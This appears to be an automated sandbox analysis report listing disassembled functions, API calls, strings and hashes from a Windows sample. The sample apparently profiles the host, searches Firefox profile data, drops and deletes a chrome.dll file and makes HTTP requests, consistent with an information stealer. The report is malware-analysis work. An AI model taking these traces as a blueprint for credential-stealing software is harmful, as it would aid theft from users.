Opcode ID: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

^userContextId=4294967295, xrefs: 0040F69C
moz-extension+++, xrefs: 0040F6AD

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 79584d75e1ca811f732ab347852efedc1fb7c3bd7d5a5e3eda263f02599700dc
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: 79584d75e1ca811f732ab347852efedc1fb7c3bd7d5a5e3eda263f02599700dc
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 00411C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02EE5DE8,00000000,?), ref: 00417982
Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02EE5DE8,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,02EE5E28,00000000,?,00420E0C,00000000,?,00000000,00000000,?,02EE53D8,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,02EE1888,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,02EE5EC8,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02EE5660,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02EE5660,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,02EE2D10,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

aA, xrefs: 004128D4, 00412902, 004128D7

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA
API String ID: 2204142833-2414573348
Opcode ID: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02EDFBA0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02EDFBA0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,02EE6F60), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,02EE64E8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 0041546A
ERROR, xrefs: 004154C3

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 004152A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,02EE57C8), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA
API String ID: 2699682494-3568425128
Opcode ID: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 004108ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02EDF830), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02EDF850), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02EDFA00), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
Opcode ID: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction ID: 55ebfe5bea072269aba33a565d8c59cbe62f1375a0798b8cb4aa3666f491b8e5
Opcode Fuzzy Hash: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction Fuzzy Hash: EA916471B001089FCB18EF65DA95EED77B6EF94304F10816EE40A9F391DB349A49CB86

Function 00419850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871
WriteFile.KERNEL32(000000FF,004108DC,?,004108DC,00000000,?,004108DC), ref: 004198A3

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction ID: c00870ae4f46cd9ec0fbaadc8d13ab59566e93f84a6b66ec8604c729da6f8a20
Opcode Fuzzy Hash: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction Fuzzy Hash: BE11C830A08248BBDB10EFA0DC15BDE7B795F05314F044199F655A72C1DB346B45C7DA

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 6CA73060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA73095

